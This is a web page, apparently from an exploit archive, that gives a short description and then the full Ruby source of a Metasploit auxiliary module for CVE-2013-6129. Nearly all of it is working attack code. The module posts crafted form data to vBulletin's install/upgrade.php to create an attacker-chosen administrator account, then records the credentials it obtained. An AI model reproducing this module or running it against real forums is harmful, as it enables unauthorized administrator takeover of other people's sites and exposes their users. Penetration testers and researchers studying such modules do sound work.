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VBulletin Administrator Account Creation

This Metasploit module abuses the “install/upgrade.php” component on vBulletin 4.1+ and 4.5+ to create a new administrator account, as exploited in the wild on October 2013. This Metasploit module has been tested successfully on vBulletin 4.1.5 and 4.1.0.

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### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Exploit::Remote::HttpClient  include Msf::Auxiliary::Report  def initialize(info = {})    super(      update_info(        info,        'Name' => 'vBulletin Administrator Account Creation',        'Description' => %q{          This module abuses the "install/upgrade.php" component on vBulletin 4.1+ and 4.5+ to          create a new administrator account, as exploited in the wild on October 2013. This module          has been tested successfully on vBulletin 4.1.5 and 4.1.0.        },        'Author' => [          'Unknown', # Vulnerability discoverer? found in the wild          'juan vazquez' # metasploit module        ],        'License' => MSF_LICENSE,        'References' => [          [ 'CVE', '2013-6129' ],          [ 'URL', 'http://blog.imperva.com/2013/10/threat-advisory-a-vbulletin-exploit-administrator-injection.html'],          [ 'OSVDB', '98370' ],          [ 'URL', 'http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/3991423-potential-vbulletin-exploit-vbulletin-4-1-vbulletin-5']        ],        'DisclosureDate' => '2013-10-09'      )    )    register_options(      [        OptString.new('TARGETURI', [ true, 'The vbulletin URI', '/']),        OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),        OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']),        OptString.new('EMAIL', [true, 'The email for the new admin account', '[email protected]'])      ]    )  end  def user    datastore['USERNAME']  end  def pass    datastore['PASSWORD']  end  def run    if user == pass      print_error('Please select a password different than the username')      return    end    print_status('Trying a new admin vBulletin account...')    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, 'install', 'upgrade.php'),      'method' => 'POST',      'vars_post' => {        'version' => 'install',        'response' => 'true',        'checktable' => 'false',        'firstrun' => 'false',        'step' => '7',        'startat' => '0',        'only' => 'false',        'options[skiptemplatemerge]' => '0',        'reponse' => 'yes',        'htmlsubmit' => '1',        'htmldata[username]' => user,        'htmldata[password]' => pass,        'htmldata[confirmpassword]' => pass,        'htmldata[email]' => datastore['EMAIL']      },      'headers' => {        'X-Requested-With' => 'XMLHttpRequest'      }    })    if res && (res.code == 200) && res.body =~ (/Administrator account created/)      print_good("Admin account with credentials #{user}:#{pass} successfully created")      connection_details = {        module_fullname: fullname,        username: user,        private_data: pass,        private_type: :password,        status: Metasploit::Model::Login::Status::UNTRIED,        proof: res.body      }.merge(service_details)      create_credential_and_login(connection_details)    else      print_error('Admin account creation failed')    end  endend

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